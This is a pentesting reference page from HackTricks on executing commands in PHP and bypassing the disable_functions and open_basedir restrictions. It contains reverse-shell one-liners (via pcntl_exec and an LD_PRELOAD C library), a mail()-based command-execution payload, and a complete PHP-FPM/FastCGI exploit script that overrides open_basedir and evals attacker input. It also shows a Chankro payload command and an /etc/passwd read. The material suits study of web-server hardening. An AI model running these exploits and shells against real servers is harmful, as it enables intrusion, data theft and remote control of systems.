overview.md (33651B)
1 --- 2 title: "PHP - Useful Functions & disablefunctions/openbasedir bypass" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: true 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP - Useful Functions & disable_functions/open_basedir bypass 14 15 ## PHP Command & Code Execution 16 17 ### PHP Command Execution 18 19 **Note:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) can automatically identify available command-execution functions when others are disabled. 20 21 **exec** - Returns last line of commands output 22 23 ```bash 24 echo exec("uname -a"); 25 ``` 26 27 **passthru** - Passes commands output directly to the browser 28 29 ```bash 30 echo passthru("uname -a"); 31 ``` 32 33 **system** - Passes commands output directly to the browser and returns last line 34 35 ```bash 36 echo system("uname -a"); 37 ``` 38 39 **shell_exec** - Returns commands output 40 41 ```bash 42 echo shell_exec("uname -a"); 43 ``` 44 45 \`\` (backticks) - Same as shell_exec() 46 47 ```bash 48 echo `uname -a` 49 ``` 50 51 **popen** - Opens read or write pipe to process of a command 52 53 ```bash 54 echo fread(popen("/bin/ls /", "r"), 4096); 55 ``` 56 57 **proc_open** - Similar to popen() but greater degree of control 58 59 ```bash 60 proc_close(proc_open("uname -a",array(),$something)); 61 ``` 62 63 **preg_replace** 64 65 The `/e` modifier shown below is a legacy PHP 5 technique; it was removed in PHP 7.0. 66 67 ```php 68 <?php preg_replace('/.*/e', 'system("whoami");', ''); ?> 69 ``` 70 71 **pcntl_exec** - Executes a program (by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function) 72 73 ```bash 74 pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); 75 ``` 76 77 **mail / mb_send_mail** - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function** usually call `sendmail` binary inside the system and it allows you to **put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output: 78 79 ```bash 80 file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); 81 ``` 82 83 **dl** - This function can be used to dynamically load a PHP extension. This function won't be present always, so you should check if it's available before trying to exploit it. Read[ this page to learn how to exploit this function](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-dl-function). 84 85 ### PHP Code Execution 86 87 Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities. 88 89 ```php 90 ${<php code>} // Legacy interpolation contexts only; ordinary reflection in a string is not enough. 91 eval() 92 assert() // String evaluation was removed in PHP 8.0. 93 preg_replace('/.*/e',...) // Legacy: /e evaluated the replacement; removed in PHP 7.0. 94 create_function() // Legacy eval-based function creation; removed in PHP 8.0. 95 include() 96 include_once() 97 require() 98 require_once() 99 $_GET['func_name']($_GET['argument']); 100 101 $func = new ReflectionFunction($_GET['func_name']); 102 $func->invoke(); 103 // or 104 $func->invokeArgs(array()); 105 106 // or serialize/unserialize function 107 ``` 108 109 ## disable_functions & open_basedir 110 111 **`disable_functions`** is an INI setting that prevents direct use of named internal functions. **`open_basedir`** restricts PHP filesystem operations to configured directory trees; it is an additional safeguard, not a complete operating-system sandbox.\ 112 These settings are commonly configured in a `php.ini` or a scanned directory such as `/etc/php/7.x/*/conf.d/`. 113 114 Both configurations appear in **`phpinfo()`** output: 115 116  117 118  119 120 ## open_basedir Bypass 121 122 `open_basedir` restricts path-based PHP filesystem operations outside its configured trees, including many reads, writes, and directory listings. It does not constrain every extension or external process in the same way. If you can execute arbitrary PHP, test the following techniques against the target version and configuration. 123 124 ### Listing dirs with glob:// bypass 125 126 In this first example the `glob://` protocol with some path bypass is used: 127 128 ```php 129 <?php 130 $file_list = array(); 131 $it = new DirectoryIterator("glob:///v??/run/*"); 132 foreach($it as $f) { 133 $file_list[] = $f->__toString(); 134 } 135 $it = new DirectoryIterator("glob:///v??/run/.*"); 136 foreach($it as $f) { 137 $file_list[] = $f->__toString(); 138 } 139 sort($file_list); 140 foreach($file_list as $f){ 141 echo "{$f}<br/>"; 142 } 143 ``` 144 145 **Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.\ 146 **Note2**: It looks like part of the code is duplicated, but that's actually necessary!\ 147 **Note3**: This example is only useful to list folders not to read files 148 149 ### Full open_basedir bypass abusing FastCGI 150 151 If you want to **learn more about PHP-FPM and FastCGI** you can read the [first section of this page](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-fpm-fastcgi).\ 152 If **`php-fpm`** is configured you can abuse it to completely bypass **open_basedir**: 153 154  155 156  157 158 First find the **PHP-FPM Unix socket**. It is commonly under `/var/run` or `/run`, so the preceding directory-listing code may locate it.\ 159 Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).<sup>[[1]](#references)</sup> 160 161 ```php 162 <?php 163 /** 164 * Note : Code is released under the GNU LGPL 165 * 166 * Please do not change the header of this file 167 * 168 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU 169 * Lesser General Public License as published by the Free Software Foundation; either version 2 of 170 * the License, or (at your option) any later version. 171 * 172 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; 173 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 174 * 175 * See the GNU Lesser General Public License for more details. 176 */ 177 /** 178 * Handles communication with a FastCGI application 179 * 180 * @author Pierrick Charron <pierrick@webstart.fr> 181 * @version 1.0 182 */ 183 class FCGIClient 184 { 185 const VERSION_1 = 1; 186 const BEGIN_REQUEST = 1; 187 const ABORT_REQUEST = 2; 188 const END_REQUEST = 3; 189 const PARAMS = 4; 190 const STDIN = 5; 191 const STDOUT = 6; 192 const STDERR = 7; 193 const DATA = 8; 194 const GET_VALUES = 9; 195 const GET_VALUES_RESULT = 10; 196 const UNKNOWN_TYPE = 11; 197 const MAXTYPE = self::UNKNOWN_TYPE; 198 const RESPONDER = 1; 199 const AUTHORIZER = 2; 200 const FILTER = 3; 201 const REQUEST_COMPLETE = 0; 202 const CANT_MPX_CONN = 1; 203 const OVERLOADED = 2; 204 const UNKNOWN_ROLE = 3; 205 const MAX_CONNS = 'MAX_CONNS'; 206 const MAX_REQS = 'MAX_REQS'; 207 const MPXS_CONNS = 'MPXS_CONNS'; 208 const HEADER_LEN = 8; 209 /** 210 * Socket 211 * @var Resource 212 */ 213 private $_sock = null; 214 /** 215 * Host 216 * @var String 217 */ 218 private $_host = null; 219 /** 220 * Port 221 * @var Integer 222 */ 223 private $_port = null; 224 /** 225 * Keep Alive 226 * @var Boolean 227 */ 228 private $_keepAlive = false; 229 /** 230 * Constructor 231 * 232 * @param String $host Host of the FastCGI application 233 * @param Integer $port Port of the FastCGI application 234 */ 235 public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket 236 { 237 $this->_host = $host; 238 $this->_port = $port; 239 } 240 /** 241 * Define whether or not the FastCGI application should keep the connection 242 * alive at the end of a request 243 * 244 * @param Boolean $b true if the connection should stay alive, false otherwise 245 */ 246 public function setKeepAlive($b) 247 { 248 $this->_keepAlive = (boolean)$b; 249 if (!$this->_keepAlive && $this->_sock) { 250 fclose($this->_sock); 251 } 252 } 253 /** 254 * Get the keep alive status 255 * 256 * @return Boolean true if the connection should stay alive, false otherwise 257 */ 258 public function getKeepAlive() 259 { 260 return $this->_keepAlive; 261 } 262 /** 263 * Create a connection to the FastCGI application 264 */ 265 private function connect() 266 { 267 if (!$this->_sock) { 268 //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); 269 $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); 270 if (!$this->_sock) { 271 throw new Exception('Unable to connect to FastCGI application'); 272 } 273 } 274 } 275 /** 276 * Build a FastCGI packet 277 * 278 * @param Integer $type Type of the packet 279 * @param String $content Content of the packet 280 * @param Integer $requestId RequestId 281 */ 282 private function buildPacket($type, $content, $requestId = 1) 283 { 284 $clen = strlen($content); 285 return chr(self::VERSION_1) /* version */ 286 . chr($type) /* type */ 287 . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ 288 . chr($requestId & 0xFF) /* requestIdB0 */ 289 . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ 290 . chr($clen & 0xFF) /* contentLengthB0 */ 291 . chr(0) /* paddingLength */ 292 . chr(0) /* reserved */ 293 . $content; /* content */ 294 } 295 /** 296 * Build an FastCGI Name value pair 297 * 298 * @param String $name Name 299 * @param String $value Value 300 * @return String FastCGI Name value pair 301 */ 302 private function buildNvpair($name, $value) 303 { 304 $nlen = strlen($name); 305 $vlen = strlen($value); 306 if ($nlen < 128) { 307 /* nameLengthB0 */ 308 $nvpair = chr($nlen); 309 } else { 310 /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ 311 $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); 312 } 313 if ($vlen < 128) { 314 /* valueLengthB0 */ 315 $nvpair .= chr($vlen); 316 } else { 317 /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ 318 $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); 319 } 320 /* nameData & valueData */ 321 return $nvpair . $name . $value; 322 } 323 /** 324 * Read a set of FastCGI Name value pairs 325 * 326 * @param String $data Data containing the set of FastCGI NVPair 327 * @return array of NVPair 328 */ 329 private function readNvpair($data, $length = null) 330 { 331 $array = array(); 332 if ($length === null) { 333 $length = strlen($data); 334 } 335 $p = 0; 336 while ($p != $length) { 337 $nlen = ord($data{$p++}); 338 if ($nlen >= 128) { 339 $nlen = ($nlen & 0x7F << 24); 340 $nlen |= (ord($data{$p++}) << 16); 341 $nlen |= (ord($data{$p++}) << 8); 342 $nlen |= (ord($data{$p++})); 343 } 344 $vlen = ord($data{$p++}); 345 if ($vlen >= 128) { 346 $vlen = ($nlen & 0x7F << 24); 347 $vlen |= (ord($data{$p++}) << 16); 348 $vlen |= (ord($data{$p++}) << 8); 349 $vlen |= (ord($data{$p++})); 350 } 351 $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); 352 $p += ($nlen + $vlen); 353 } 354 return $array; 355 } 356 /** 357 * Decode a FastCGI Packet 358 * 359 * @param String $data String containing all the packet 360 * @return array 361 */ 362 private function decodePacketHeader($data) 363 { 364 $ret = array(); 365 $ret['version'] = ord($data{0}); 366 $ret['type'] = ord($data{1}); 367 $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); 368 $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); 369 $ret['paddingLength'] = ord($data{6}); 370 $ret['reserved'] = ord($data{7}); 371 return $ret; 372 } 373 /** 374 * Read a FastCGI Packet 375 * 376 * @return array 377 */ 378 private function readPacket() 379 { 380 if ($packet = fread($this->_sock, self::HEADER_LEN)) { 381 $resp = $this->decodePacketHeader($packet); 382 $resp['content'] = ''; 383 if ($resp['contentLength']) { 384 $len = $resp['contentLength']; 385 while ($len && $buf=fread($this->_sock, $len)) { 386 $len -= strlen($buf); 387 $resp['content'] .= $buf; 388 } 389 } 390 if ($resp['paddingLength']) { 391 $buf=fread($this->_sock, $resp['paddingLength']); 392 } 393 return $resp; 394 } else { 395 return false; 396 } 397 } 398 /** 399 * Get Informations on the FastCGI application 400 * 401 * @param array $requestedInfo information to retrieve 402 * @return array 403 */ 404 public function getValues(array $requestedInfo) 405 { 406 $this->connect(); 407 $request = ''; 408 foreach ($requestedInfo as $info) { 409 $request .= $this->buildNvpair($info, ''); 410 } 411 fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); 412 $resp = $this->readPacket(); 413 if ($resp['type'] == self::GET_VALUES_RESULT) { 414 return $this->readNvpair($resp['content'], $resp['length']); 415 } else { 416 throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); 417 } 418 } 419 /** 420 * Execute a request to the FastCGI application 421 * 422 * @param array $params Array of parameters 423 * @param String $stdin Content 424 * @return String 425 */ 426 public function request(array $params, $stdin) 427 { 428 $response = ''; 429 $this->connect(); 430 $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); 431 $paramsRequest = ''; 432 foreach ($params as $key => $value) { 433 $paramsRequest .= $this->buildNvpair($key, $value); 434 } 435 if ($paramsRequest) { 436 $request .= $this->buildPacket(self::PARAMS, $paramsRequest); 437 } 438 $request .= $this->buildPacket(self::PARAMS, ''); 439 if ($stdin) { 440 $request .= $this->buildPacket(self::STDIN, $stdin); 441 } 442 $request .= $this->buildPacket(self::STDIN, ''); 443 fwrite($this->_sock, $request); 444 do { 445 $resp = $this->readPacket(); 446 if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { 447 $response .= $resp['content']; 448 } 449 } while ($resp && $resp['type'] != self::END_REQUEST); 450 var_dump($resp); 451 if (!is_array($resp)) { 452 throw new Exception('Bad request'); 453 } 454 switch (ord($resp['content']{4})) { 455 case self::CANT_MPX_CONN: 456 throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); 457 break; 458 case self::OVERLOADED: 459 throw new Exception('New request rejected; too busy [OVERLOADED]'); 460 break; 461 case self::UNKNOWN_ROLE: 462 throw new Exception('Role value not known [UNKNOWN_ROLE]'); 463 break; 464 case self::REQUEST_COMPLETE: 465 return $response; 466 } 467 } 468 } 469 ?> 470 <?php 471 // real exploit start here 472 if (!isset($_REQUEST['cmd'])) { 473 die("Check your input\n"); 474 } 475 if (!isset($_REQUEST['filepath'])) { 476 $filepath = __FILE__; 477 }else{ 478 $filepath = $_REQUEST['filepath']; 479 } 480 $req = '/'.basename($filepath); 481 $uri = $req .'?'.'command='.$_REQUEST['cmd']; 482 $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); 483 $code = "<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything 484 $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; 485 //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; 486 $params = array( 487 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 488 'REQUEST_METHOD' => 'POST', 489 'SCRIPT_FILENAME' => $filepath, 490 'SCRIPT_NAME' => $req, 491 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 492 'REQUEST_URI' => $uri, 493 'DOCUMENT_URI' => $req, 494 #'DOCUMENT_ROOT' => '/', 495 'PHP_VALUE' => $php_value, 496 'SERVER_SOFTWARE' => '80sec/wofeiwo', 497 'REMOTE_ADDR' => '127.0.0.1', 498 'REMOTE_PORT' => '9985', 499 'SERVER_ADDR' => '127.0.0.1', 500 'SERVER_PORT' => '80', 501 'SERVER_NAME' => 'localhost', 502 'SERVER_PROTOCOL' => 'HTTP/1.1', 503 'CONTENT_LENGTH' => strlen($code) 504 ); 505 // print_r($_REQUEST); 506 // print_r($params); 507 //echo "Call: $uri\n\n"; 508 echo $client->request($params, $code)."\n"; 509 ?> 510 ``` 511 512 This script communicates with the **PHP-FPM Unix socket** to execute a request with attacker-supplied FastCGI parameters. The sent **`PHP_VALUE`** can override per-directory settings such as `open_basedir` when the FPM pool and target script permit the request.\ 513 Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter.\ 514 Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.\ 515 Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file. 516 517 > [!WARNING] 518 > You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP_VALUE won't be effective on this specific setting. 519 520 ## disable_functions Bypass 521 522 If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usual to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.**\ 523 The following techniques may bypass the restriction when their prerequisites are present. 524 525 ### Automatic bypass discovery 526 527 You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) and it will indicate you which function (if any) you can use to **bypass** **`disable_functions`**. 528 529 ### Bypassing using other system functions 530 531 Just return to the beginning of this page and **check if any of the command executing functions isn't disabled and available in the environment**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands. 532 533 ### LD_PRELOAD bypass 534 535 Some PHP functions, such as certain `mail()` configurations, invoke external binaries. If PHP can set `LD_PRELOAD` and launch a dynamically linked child process without the variable being stripped, an attacker may force that process to load a malicious library. 536 537 #### Functions that can be used to bypass disable_functions with LD_PRELOAD 538 539 - **`mail`** 540 - **`mb_send_mail`**: Effective when the `php-mbstring` module is installed. 541 - **`imap_mail`**: Works if `php-imap` module is present. 542 - **`libvirt_connect`**: Requires the `php-libvirt-php` module. 543 - **`gnupg_init`**: Utilizable with the `php-gnupg` module installed. 544 - **`new imagick()`**: This class can be abused to bypass restrictions. Detailed exploitation techniques can be found in a comprehensive [**writeup here**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/).<sup>[[2]](#references)</sup> 545 546 You can [**find here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) the fuzzing script that was used to find those functions. 547 548 Here is a library you can compile to abuse the `LD_PRELOAD` env variable: 549 550 ```php 551 #include <unistd.h> 552 #include <sys/types.h> 553 #include <stdio.h> 554 #include <stdlib.h> 555 556 uid_t getuid(void){ 557 unsetenv("LD_PRELOAD"); 558 system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); 559 return 1; 560 } 561 ``` 562 563 #### Bypass using Chankro 564 565 To automate this chain, you can use [**Chankro**](https://github.com/TarlogicSecurity/Chankro), which generates a PHP exploit to upload and invoke through the vulnerable application.\ 566 **Chankro** writes the library and payload to the victim's disk, then uses the **`LD_PRELOAD` technique and PHP `mail()`** to execute the payload. 567 568 Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.\ 569 The following example creates a 64-bit Chankro exploit that runs `whoami` and saves its output in `/tmp/chankro_shell.out`. Chankro writes the library and payload under `/tmp`, and produces `bicho.php` for upload to the target: 570 571 ### shell.sh 572 ```php 573 #!/bin/sh 574 whoami > /tmp/chankro_shell.out 575 ``` 576 577 ### Chankro 578 ```bash 579 python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php 580 ``` 581 582 583 If you find that **mail** function is blocked by disabled functions, you may still be able to use the function **mb_send_mail.**\ 584 More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)<sup>[[3]](#references)</sup> 585 586 ### "Bypass" using PHP capabilities 587 588 Note that using **PHP** you can **read and write files, create directories and change permissions**.\ 589 You can even **dump databases**.\ 590 Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key). 591 592 The [phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) project makes these filesystem and enumeration actions easier; many other web shells expose similar operations. 593 594 ### Modules/Version dependent bypasses 595 596 There are several ways to bypass disable_functions if some specific module is being used or exploit some specific PHP version: 597 598 - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-fpm-fastcgi) 599 - **FFI enabled:** unrestricted PHP FFI can call native-library functions directly, so it defeats a function-name blocklist. Web requests normally cannot use FFI under its default `preload` setting; the dangerous prerequisite is `ffi.enable=true` or an exposed preloaded FFI scope.<sup>[[5]](#references)</sup> 600 - [**Bypass via mem**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-via-mem) 601 - [**mod_cgi**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-mod-cgi) 602 - [**PHP Perl Extension Safe_mode**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-perl-extension-safe-mode-bypass-exploit) 603 - [**dl function**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-dl-function) 604 - [**This exploit collection**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) documents the following historical target ranges. Treat “all versions” as the repository author's contemporaneous claim and verify the exact PHP build before use: 605 - 5.\* - exploitable with minor changes to the PoC 606 - 7.0 - all versions to date 607 - 7.1 - all versions to date 608 - 7.2 - all versions to date 609 - 7.3 - all versions to date 610 - 7.4 - all versions to date 611 - 8.0 - all versions to date 612 - [**From 7.0 to 8.0 exploit (Unix only)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) 613 - [**PHP 7.0=7.4 (\*nix)**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-7-0-7-4-nix-only#php-7-0-7-4-nix-only) 614 - [**Imagick 3.3.0 PHP >= 5.4**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-imagick-less-than-3-3-0-php-greater-than-5-4-exploit) 615 - [**PHP 5.x Shellsock**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-php-5-x-shellshock-exploit) 616 - [**PHP 5.2.4 ionCube**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-php-5-2-4-ioncube-extension-exploit) 617 - [**PHP <= 5.2.9 Windows**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-less-than-5-2-9-on-windows) 618 - [**PHP 5.2.4/5.2.5 cURL**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-5-2-4-and-5-2-5-php-curl) 619 - [**PHP 5.2.3 -Win32std**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-5-2-3-win32std-ext-protections-bypass) 620 - [**PHP 5.2 FOpen exploit**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-5-2-fopen-exploit) 621 - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](/hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable-functions-open-basedir-bypass/disable-functions-bypass-php-4-greater-than-4-2-0-php-5-pcntl-exec) 622 623 ### **Automatic Tool** 624 625 The following script tries some of the methods commented here:\ 626 [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) 627 628 ## Other Interesting PHP functions 629 630 ### List of functions which accept callbacks 631 632 These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used. 633 634 [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) 635 636 [Following lists from here](https://stackoverflow.com/questions/3115559/exploitable-php-functions)<sup>[[4]](#references)</sup> 637 638 ```php 639 // Function => Position of callback arguments 640 'ob_start' => 0, 641 'array_diff_uassoc' => -1, 642 'array_diff_ukey' => -1, 643 'array_filter' => 1, 644 'array_intersect_uassoc' => -1, 645 'array_intersect_ukey' => -1, 646 'array_map' => 0, 647 'array_reduce' => 1, 648 'array_udiff_assoc' => -1, 649 'array_udiff_uassoc' => array(-1, -2), 650 'array_udiff' => -1, 651 'array_uintersect_assoc' => -1, 652 'array_uintersect_uassoc' => array(-1, -2), 653 'array_uintersect' => -1, 654 'array_walk_recursive' => 1, 655 'array_walk' => 1, 656 'assert_options' => 1, 657 'uasort' => 1, 658 'uksort' => 1, 659 'usort' => 1, 660 'preg_replace_callback' => 1, 661 'spl_autoload_register' => 0, 662 'iterator_apply' => 1, 663 'call_user_func' => 0, 664 'call_user_func_array' => 0, 665 'register_shutdown_function' => 0, 666 'register_tick_function' => 0, 667 'set_error_handler' => 0, 668 'set_exception_handler' => 0, 669 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5), 670 'sqlite_create_aggregate' => array(2, 3), 671 'sqlite_create_function' => 2, 672 ``` 673 674 ### Information Disclosure 675 676 Most of these calls are not dangerous sinks by themselves. They become information-disclosure issues when an attacker controls their use or can view sensitive returned data. Exposed `phpinfo()` output is particularly valuable because it reveals configuration, paths, extensions, and environment details. 677 678 ```php 679 phpinfo 680 posix_mkfifo 681 posix_getlogin 682 posix_ttyname 683 getenv 684 get_current_user 685 proc_get_status 686 get_cfg_var 687 disk_free_space 688 disk_total_space 689 diskfreespace 690 getcwd 691 getlastmo 692 getmygid 693 getmyinode 694 getmypid 695 getmyuid 696 ``` 697 698 ### Other 699 700 ```php 701 extract // Opens the door for register_globals attacks (see study in scarlet). 702 parse_str // works like extract if only one argument is given. 703 putenv 704 ini_set 705 mail // has CRLF injection in the 3rd parameter, opens the door for spam. 706 header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. 707 proc_nice 708 proc_terminate 709 proc_close 710 pfsockopen 711 fsockopen 712 apache_child_terminate 713 posix_kill 714 posix_mkfifo 715 posix_setpgid 716 posix_setsid 717 posix_setuid 718 ``` 719 720 ### Filesystem Functions 721 722 Filesystem calls become dangerous when attacker-controlled data reaches a path or URL argument. For example, with `allow_url_fopen=On`, a URL can be accepted as a source path, so `copy($_GET['s'], $_GET['d'])` may fetch remote content and write it to an attacker-selected accessible destination. Similar source/sink combinations can provide file disclosure, overwrite, server-side request forgery, or a pivot to another host. 723 724 **Open filesystem handler** 725 726 ```php 727 fopen 728 tmpfile 729 bzopen 730 gzopen 731 SplFileObject->__construct 732 ``` 733 734 **Write to filesystem (partially in combination with reading)** 735 736 ```php 737 chgrp 738 chmod 739 chown 740 copy 741 file_put_contents 742 lchgrp 743 lchown 744 link 745 mkdir 746 move_uploaded_file 747 rename 748 rmdir 749 symlink 750 tempnam 751 touch 752 unlink 753 imagepng // 2nd parameter is a path. 754 imagewbmp // 2nd parameter is a path. 755 image2wbmp // 2nd parameter is a path. 756 imagejpeg // 2nd parameter is a path. 757 imagexbm // 2nd parameter is a path. 758 imagegif // 2nd parameter is a path. 759 imagegd // 2nd parameter is a path. 760 imagegd2 // 2nd parameter is a path. 761 iptcembed 762 ftp_get 763 ftp_nb_get 764 scandir 765 ``` 766 767 **Read from filesystem** 768 769 ```php 770 file_exists 771 -- file_get_contents 772 file 773 fileatime 774 filectime 775 filegroup 776 fileinode 777 filemtime 778 fileowner 779 fileperms 780 filesize 781 filetype 782 glob 783 is_dir 784 is_executable 785 is_file 786 is_link 787 is_readable 788 is_uploaded_file 789 is_writable 790 is_writeable 791 linkinfo 792 lstat 793 parse_ini_file 794 pathinfo 795 readfile 796 readlink 797 realpath 798 stat 799 gzfile 800 readgzfile 801 getimagesize 802 imagecreatefromgif 803 imagecreatefromjpeg 804 imagecreatefrompng 805 imagecreatefromwbmp 806 imagecreatefromxbm 807 imagecreatefromxpm 808 ftp_put 809 ftp_nb_put 810 exif_read_data 811 read_exif_data 812 exif_thumbnail 813 exif_imagetype 814 hash_file 815 hash_hmac_file 816 hash_update_file 817 md5_file 818 sha1_file 819 -- highlight_file 820 -- show_source 821 php_strip_whitespace 822 get_meta_tags 823 ``` 824 825 ## References 826 827 - [1] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy) 828 - [2] [Eval Me - BSides Delhi CTF 2019 writeup](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) 829 - [3] [How to bypass disable_functions and open_basedir](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) 830 - [4] [Exploitable PHP functions - Stack Overflow](https://stackoverflow.com/questions/3115559/exploitable-php-functions) 831 - [5] [PHP RFC: Foreign Function Interface](https://wiki.php.net/rfc/ffi)